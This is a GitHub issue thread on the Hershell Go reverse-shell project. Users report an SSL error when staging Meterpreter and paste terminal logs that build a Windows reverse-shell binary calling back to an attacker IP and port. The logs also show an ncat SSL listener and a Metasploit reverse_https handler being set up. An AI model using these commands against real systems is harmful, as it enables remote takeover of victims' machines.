sysdream / hershell

Hershell is a simple TCP reverse shell written in Go.
529 stars 86 forks source link

Meterpreter staging SSL error #7

Open 1eafy opened 4 years ago

1eafy commented 4 years ago

Hi there, thanks for the really cool project. i just try this awesome tools, but i got some issue here. can't get meterpreter work, only get

[hershell]> NCAT DEBUG: SSL_read error on 5: error:00000005:lib(0):func(0):DH lib

root@kali:\~/hershell# ls Dockerfile hershell.go LICENSE Makefile meterpreter README.md shell root@kali:\~/hershell# make depends openssl req -subj '/CN=acme.com/O=ACME/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem Generating a RSA private key ......................................................................................................++++ ..................++++ writing new private key to 'server.key' cat server.key >> server.pem root@kali:\~/hershell# make windows64 LHOST=192.168.136.129 LPORT=6666 GOOS=windows GOARCH=amd64 go build --ldflags "-s -w -X main.connectString=192.168.136.129:6666 -X main.fingerPrint=$(openssl x509 -fingerprint -sha256 -noout -in server.pem | cut -d '=' -f2) -H=windowsgui" -o hershell.exe hershell.go root@kali:\~/hershell# ls Dockerfile hershell.go Makefile README.md server.pem hershell.exe LICENSE meterpreter server.key shell root@kali:\~/hershell# ncat --ssl-cert server.pem --ssl-key server.key -lvp 6666 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Listening on :::6666 Ncat: Listening on 0.0.0.0:6666 Ncat: Connection from 192.168.136.1. Ncat: Connection from 192.168.136.1:11382. [hershell]> meterpreter https 192.168.136.129:9999 [hershell]> NCAT DEBUG: SSL_read error on 5: error:00000005:lib(0):func(0):DH lib root@kali:\~/hershell#

Msf cannot create a session when using meterpreter staging

msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https payload => windows/x64/meterpreter/reverse_https msf5 exploit(multi/handler) > set lhost 192.168.136.129 lhost => 192.168.136.129 msf5 exploit(multi/handler) > set lport 9999 lport => 9999 msf5 exploit(multi/handler) > set HandlerSSLCert ./hershell/server.pem HandlerSSLCert => ./hershell/server.pem msf5 exploit(multi/handler) > run [*] Started HTTPS reverse handler on https://192.168.136.129:9999

When using windows/x64/meterpreter/reverse_https payload, even if hershell uses the merterpreter command, msf still keeps listening, and hershell outputs an error [hershell]> NCAT DEBUG: SSL_read error on 5: error:00000005:lib(0):func(0):DH lib

1eafy commented 4 years ago

Then I used windows/x64/meterpreter/reverse_tcp payload, msf got a session but died quickly, and hershell also output [hershell]> NCAT DEBUG: SSL_read error on 5: error: 00000005: lib (0): func (0): DH lib hershell Snipaste_2020-01-26_22-57-55

1eafy commented 4 years ago

Looking forward to hearing from you, thank you very much

vincentcox commented 4 years ago

Same issue! Did you found a solution meanwhile?

1eafy commented 4 years ago

Same issue! Did you found a solution meanwhile?

No solution found. Do you have a solution?